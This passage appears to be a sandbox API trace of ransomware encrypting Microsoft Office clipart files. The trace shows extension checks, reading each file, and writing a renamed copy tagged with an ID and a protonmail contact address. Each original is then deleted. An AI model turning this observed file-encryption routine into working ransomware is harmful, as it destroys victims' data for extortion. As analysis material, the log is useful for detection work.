	[0176.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.088] lstrlenW (lpString=".rar") returned 4
	[0176.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.088] lstrlenW (lpString=".bz2") returned 4
	[0176.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.088] lstrlenW (lpString=".7z") returned 3
	[0176.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.088] lstrlenW (lpString=".dbf") returned 4
	[0176.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.089] lstrlenW (lpString=".1cd") returned 4
	[0176.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.089] lstrlenW (lpString=".jpg") returned 4
	[0176.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.089] lstrlenW (lpString=".doc") returned 4
	[0176.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.089] lstrlenW (lpString=".docx") returned 5
	[0176.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.089] lstrlenW (lpString=".pdf") returned 4
	[0176.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.089] lstrlenW (lpString=".xls") returned 4
	[0176.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.089] lstrlenW (lpString=".xlsx") returned 5
	[0176.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.089] lstrlenW (lpString=".ppt") returned 4
	[0176.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.089] lstrlenW (lpString=".zip") returned 4
	[0176.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.089] lstrlenW (lpString=".rar") returned 4
	[0176.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.090] lstrlenW (lpString=".bz2") returned 4
	[0176.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.090] lstrlenW (lpString=".7z") returned 3
	[0176.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.090] lstrlenW (lpString=".dbf") returned 4
	[0176.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.090] lstrlenW (lpString=".1cd") returned 4
	[0176.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.090] lstrlenW (lpString=".jpg") returned 4
	[0176.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.090] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.090] lstrlenW (lpString="HH00623_.WMF") returned 12
	[0176.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.125] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10644) returned 1
	[0176.125] CloseHandle (hObject=0x5b4) returned 1
	[0176.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220
	[0176.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.125] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.125] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0176.126] GetLastError () returned 0x0
	[0176.126] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2994, lpOverlapped=0x0) returned 1
	[0176.128] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0176.131] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.131] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.131] SetEndOfFile (hFile=0x590) returned 1
	[0176.131] CloseHandle (hObject=0x590) returned 1
	[0176.132] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.132] SetEndOfFile (hFile=0x5b4) returned 1
	[0176.135] CloseHandle (hObject=0x5b4) returned 1
	[0176.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1
	[0176.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.136] lstrlenW (lpString=".doc") returned 4
	[0176.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.136] lstrlenW (lpString=".docx") returned 5
	[0176.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.136] lstrlenW (lpString=".pdf") returned 4
	[0176.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.136] lstrlenW (lpString=".xls") returned 4
	[0176.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.136] lstrlenW (lpString=".xlsx") returned 5
	[0176.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.136] lstrlenW (lpString=".ppt") returned 4
	[0176.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.136] lstrlenW (lpString=".zip") returned 4
	[0176.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.137] lstrlenW (lpString=".rar") returned 4
	[0176.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.137] lstrlenW (lpString=".bz2") returned 4
	[0176.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.137] lstrlenW (lpString=".7z") returned 3
	[0176.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.137] lstrlenW (lpString=".dbf") returned 4
	[0176.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.137] lstrlenW (lpString=".1cd") returned 4
	[0176.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.137] lstrlenW (lpString=".jpg") returned 4
	[0176.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.137] lstrlenW (lpString=".doc") returned 4
	[0176.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.137] lstrlenW (lpString=".docx") returned 5
	[0176.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.137] lstrlenW (lpString=".pdf") returned 4
	[0176.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.137] lstrlenW (lpString=".xls") returned 4
	[0176.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.137] lstrlenW (lpString=".xlsx") returned 5
	[0176.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.137] lstrlenW (lpString=".ppt") returned 4
	[0176.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.137] lstrlenW (lpString=".zip") returned 4
	[0176.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.138] lstrlenW (lpString=".rar") returned 4
	[0176.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.138] lstrlenW (lpString=".bz2") returned 4
	[0176.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.138] lstrlenW (lpString=".7z") returned 3
	[0176.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.138] lstrlenW (lpString=".dbf") returned 4
	[0176.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.138] lstrlenW (lpString=".1cd") returned 4
	[0176.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0176.138] lstrlenW (lpString=".jpg") returned 4
	[0176.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.138] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.138] lstrlenW (lpString="HH00625_.WMF") returned 12
	[0176.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.139] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2116) returned 1
	[0176.139] CloseHandle (hObject=0x5b4) returned 1
	[0176.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220
	[0176.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.140] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.140] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0176.141] GetLastError () returned 0x0
	[0176.141] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x844, lpOverlapped=0x0) returned 1
	[0176.142] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x850, lpOverlapped=0x0) returned 1
	[0176.143] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.143] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.143] SetEndOfFile (hFile=0x590) returned 1
	[0176.148] CloseHandle (hObject=0x590) returned 1
	[0176.148] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.148] SetEndOfFile (hFile=0x5b4) returned 1
	[0176.151] CloseHandle (hObject=0x5b4) returned 1
	[0176.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1
	[0176.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.152] lstrlenW (lpString=".doc") returned 4
	[0176.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.152] lstrlenW (lpString=".docx") returned 5
	[0176.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.152] lstrlenW (lpString=".pdf") returned 4
	[0176.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.152] lstrlenW (lpString=".xls") returned 4
	[0176.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.152] lstrlenW (lpString=".xlsx") returned 5
	[0176.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.152] lstrlenW (lpString=".ppt") returned 4
	[0176.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.152] lstrlenW (lpString=".zip") returned 4
	[0176.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.152] lstrlenW (lpString=".rar") returned 4
	[0176.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.153] lstrlenW (lpString=".bz2") returned 4
	[0176.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.153] lstrlenW (lpString=".7z") returned 3
	[0176.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.153] lstrlenW (lpString=".dbf") returned 4
	[0176.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.153] lstrlenW (lpString=".1cd") returned 4
	[0176.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.153] lstrlenW (lpString=".jpg") returned 4
	[0176.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.153] lstrlenW (lpString=".doc") returned 4
	[0176.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.153] lstrlenW (lpString=".docx") returned 5
	[0176.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.153] lstrlenW (lpString=".pdf") returned 4
	[0176.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.153] lstrlenW (lpString=".xls") returned 4
	[0176.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.153] lstrlenW (lpString=".xlsx") returned 5
	[0176.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.153] lstrlenW (lpString=".ppt") returned 4
	[0176.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.153] lstrlenW (lpString=".zip") returned 4
	[0176.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.153] lstrlenW (lpString=".rar") returned 4
	[0176.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.154] lstrlenW (lpString=".bz2") returned 4
	[0176.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.154] lstrlenW (lpString=".7z") returned 3
	[0176.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.154] lstrlenW (lpString=".dbf") returned 4
	[0176.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.154] lstrlenW (lpString=".1cd") returned 4
	[0176.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0176.154] lstrlenW (lpString=".jpg") returned 4
	[0176.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.154] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.154] lstrlenW (lpString="HH00636_.WMF") returned 12
	[0176.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0176.396] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1568) returned 1
	[0176.396] CloseHandle (hObject=0x590) returned 1
	[0176.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220
	[0176.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0176.761] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.761] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0176.763] GetLastError () returned 0x0
	[0176.763] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x620, lpOverlapped=0x0) returned 1
	[0176.765] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x630, lpOverlapped=0x0) returned 1
	[0176.766] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.766] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.767] SetEndOfFile (hFile=0x580) returned 1
	[0176.767] CloseHandle (hObject=0x580) returned 1
	[0176.767] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.767] SetEndOfFile (hFile=0x574) returned 1
	[0176.769] CloseHandle (hObject=0x574) returned 1
	[0176.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1
	[0176.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.770] lstrlenW (lpString=".doc") returned 4
	[0176.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.770] lstrlenW (lpString=".docx") returned 5
	[0176.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.771] lstrlenW (lpString=".pdf") returned 4
	[0176.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.771] lstrlenW (lpString=".xls") returned 4
	[0176.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.771] lstrlenW (lpString=".xlsx") returned 5
	[0176.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.771] lstrlenW (lpString=".ppt") returned 4
	[0176.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.771] lstrlenW (lpString=".zip") returned 4
	[0176.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
